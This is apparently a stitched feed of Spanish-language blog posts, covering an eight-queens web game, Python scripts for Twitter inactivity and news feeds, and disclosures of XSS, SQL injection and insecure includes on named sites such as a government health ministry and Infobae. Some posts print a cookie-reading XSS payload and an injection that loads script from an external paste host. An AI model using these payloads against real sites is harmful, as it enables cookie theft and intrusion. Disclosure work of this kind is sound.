Subí el código del eight queens puzzle, posteado hace un par de meses en este blog, a GitHub.
El repo es https://github.com/pmolina/eqp.
Subí el código del eight queens puzzle, posteado hace un par de meses en este blog, a GitHub.
El repo es https://github.com/pmolina/eqp.
El acertijo de las ocho reinas es un problema didáctico en donde se busca colocar ocho reinas en un tablero de ajedrez de forma tal que ninguna de ellas se ataquen entre sí a través de sus movimientos estándar. Por lo tanto, la solución requiere que las reinas no compartan su filas, columnas y diagonales con las demás. Fue propuesto por el ajedrecista alemán Max Bezzel en 1848. Existe un excelente artículo en Wikipedia con más información sobre este problema y sus estrategias de solución.
Tuve que crear una versión en C++ de este programa y me pareció interesante hacerlo “para la web”, así que en una noche de insomnio lo cociné con jQuery y algo de CSS. Pueden jugarlo haciendo clic en el siguiente enlace: eight queens puzzle.
El código del juego se encuentra liberado bajo una licencia Creative Commons By-SA (como el resto de mi blog) y la imagen de la reina la saqué de Wikimedia Commons (bajo licencia GFDL y compatibles).
XSS
El cross-site scripting ya es un clásico. Para probarlo coloquen la siguiente línea en el buscador: <script type=”text/javascript”>alert(document.cookie);</script>. Las variantes de uso son practicamente ilimitadas.

SQL Injection
También en el buscador. Colocando un simple apóstrofo (‘) el query se “pincha”. Acá pueden entrar subqueries con instrucciones DROP TABLE o cosas peores.
Includes inseguros
Acá es cuando apagamos la luz, cerramos todo y nos fuimos a la mierda (?)
Un link y una imagen (por si lo arreglan antes de tiempo) valen más que cualquier explicación en palabras. Los entendidos se darán cuenta rápidamente de la gravedad del asunto. Acá hay otro ejemplo donde podés ver el archivo /etc/hosts.
Requisitos:
Pasos:
Ahora creamos un proyecto en /User/Documents/ para probar:
¡Listo! Ya tienen un servidor de desarrollo que pueden llevar en el bolsillo

Corregí un pequeño bug en el script que publiqué hace unos meses (ese que usa la API de Twitter y jQuery para mostrar tweets relacionados a un parámetro de búsqueda).
De paso cambié la librería de jQuery (1.4.2) y le hice algunas mejores estéticas (acá está la demo).
Enjoy!
Hace un par de días descubrí una vulnerabilidad XSS bastante común en el sitio web del Ministerio de Salud de la Nación.
Me sorprende que una vulnerabilidad tan evidente esté presente en uno de los sitios más importantes de nuestra administración pública. Como se podrán imaginar, los sitios gubernamentales son objetivos de alto riesgo en el campo de la seguridad informática, por lo que debería someterse a los más estrictos controles durante su desarrollo y su posterior mantenimiento.
Después de todo, “cross-site scripting (XSS) es una de las vulnerabilidades más predominantes, obstinadas y peligrosas en las aplicaciones web”1.
¿En qué consiste la vulnerabilidad?
Un usuario realiza una búsqueda en el sitio y la búsqueda original se le vuelve a presentar en un campo de texto junto a los resultados. Por ejemplo:
El código del campo de texto es el siguiente:
1 | <input name="txtBusqueda2" size="40" type="text" value="hospitales del chaco" /> |
El problema se encuentra en la impresión de esa búsqueda original: los caracteres < y > (apertura y cierre de etiquetas HTML) no son convertidos a sus respectivas entidades.
Parece un detalle menor, pero es un enorme agujero de seguridad que permite ejecutar código arbitrario y comprometer seriamente la información de sus usuarios. Por ejemplo, si uno busca:
" /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value="
Se obtiene:
1 | <input name="txtBusqueda2" size="40" type="text" value=" " /><script type="text/javascript" src="http://fpaste.org/GVwV/raw/"></script><input type="hidden" value=" " /> |
Y, por consiguiente (clic para agrandar):
¿Qué consecuencias puede ocasionar esta vulnerabilidad?
La vulnerabilidad fue reportada oportunamente, pero no obtuve respuesta (como suele suceder en el 95% de los casos). Espero que lo solucionen antes de que sea demasiado tarde.
1 – Fragmento de “Failure to Preserve Web Page Structure (‘Cross-site Scripting’)“, publicado en 2010 CWE/SANS Top 25 Most Dangerous Programming Errors.
Ayer me puse a revisar Infobae en búsqueda de agujeros XSS, y grata fue mi sorpresa cuando encontré una falla en el primer intento.
Y eso no es todo. Profundizando un poco más, encontré algo más grave:
Este último punto significa que cualquier persona puede realizar inyecciones SQL1, o sea:
Quise contactarme con ellos, pero la página de contacto del diario no anda, así que les envié un mail con una descripción del problema (nunca me contestaron). Para que sepan: pasaron 24 horas y los agujeros no fueron parcheados.
1 – Es posible que utilicen usuarios con jerarquía de privilegios, aunque lo dudo.
2 – “Recently, a number of projects have created MD5 rainbow tables which are easily accessible online, and can be used to reverse many MD5 hashes into strings that collide with the original input, usually for the purposes of password cracking” (Wikipedia)
Hace un par de días se supo que Twitter liberará aquellos nombres de usuario que no hayan registrado actividad durante 6 meses o más.
Les dejo una herramienta para obtener los días de inactividad de un usuario a través de su último status publicado. Esta clase puede ser utilizada, por ejemplo, para recorrer listados de palabras en búsqueda de nombres valiosos.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | import twitter import sys import urllib2 from datetime import datetime class UnknownUser(Exception): pass class UnknownStatus(Exception): pass class TwitterExpire(object): def __init__(self): self.__t = twitter.Api() def verify(self, username): try: user = self.__t.GetUser(user=username) except urllib2.HTTPError: raise UnknownUser else: status = user.GetStatus() if status: timestamp = status.GetCreatedAtInSeconds() d = datetime.fromtimestamp(timestamp) td = datetime.now() - d return td else: raise UnknownStatus def main(username): te = TwitterExpire() try: result = te.verify(username) except UnknownUser: print u"User '%s' doesn't exist" % username except UnknownStatus: print u"Couldn't find any status for '%s'" % username else: print result if __name__ == '__main__': if len(sys.argv) >= 2: main(username=sys.argv[1]) |
Algunos resultados:
mahadeva@blue:~$ python2.5 last_status.py patito 258 days, 11:16:49.425212 mahadeva@blue:~$ python2.5 last_status.py patricio Couldn't find any status for 'patricio' mahadeva@blue:~$ python2.5 last_status.py usuarioinexistente User 'usuarioinexistente' doesn't exist mahadeva@blue:~$ python2.5 last_status.py shitmydadsays 1 day, 22:35:44.434214

Calculando un timedelta con Python 2.5.1 en el iPod Touch ¡Muy groso!
Acá les dejo un pequeño programa en Python que busca “buenas noticias” en los feeds RSS de Clarín, InfoBAE y La Nación.
Es altamente configurable (pueden agregar o quitar palabras clave y feeds editando FEEDS y KEYWORDS).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | # -*- coding: utf-8 -*- import feedparser import re FEEDS = { u'Clarín': 'http://www.clarin.com/diario/hoy/um/sumariorss.xml', u'InfoBAE': 'http://www.infobae.com/adjuntos/html/RSS/hoy.xml', u'La Nación': 'http://www.lanacion.com.ar/herramientas/rss/index.asp', } KEYWORDS = ['muerto', 'caos', 'inseguridad'] def main(): regexps = [re.compile(keyword, re.IGNORECASE) for keyword in KEYWORDS] for feed_name, feed_source in FEEDS.iteritems(): for entry in feedparser.parse(feed_source).entries: for r in regexps: if r.search(entry.title): print '%s: %s - %s' % (feed_name, entry.title, entry.link) break if __name__ == '__main__': main() |
Acá tienen unos resultados de ejemplo:
1 2 3 4 5 6 7 | mahadeva@blue:~$ python buenasnoticias.py InfoBAE: Un muerto y miles de evacuados por una explosión en Rusia - http://www.infobae.com/mundo/484082-101275-0-Un-muerto-y-miles-de-evacuados-por-una-explosión-en-Rusia La Nación: Varios muertos en Rusia tras una explosión en un arsenal militar - http://www.lanacion.com.ar/nota.asp?nota_id=1199099 Clarín: Inseguridad: en medio de los cruces, el oficialismo se despega de D'Elía - http://www.clarin.com/diario/2009/11/13/um/m-02040147.htm Clarín: 12:35 - Detienen a tres chicos por el caso del empresario muerto por una pedrada - http://www.clarin.com/diario/2009/11/13/um/m-02040124.htm Clarín: Otro choque en la General Paz provocó un caos en el tránsito - http://www.clarin.com/diario/2009/11/13/um/m-02040083.htm Clarín: Detienen a tres chicos por el caso del empresario muerto por una pedrada - http://www.clarin.com/diario/2009/11/13/um/m-02040124.htm |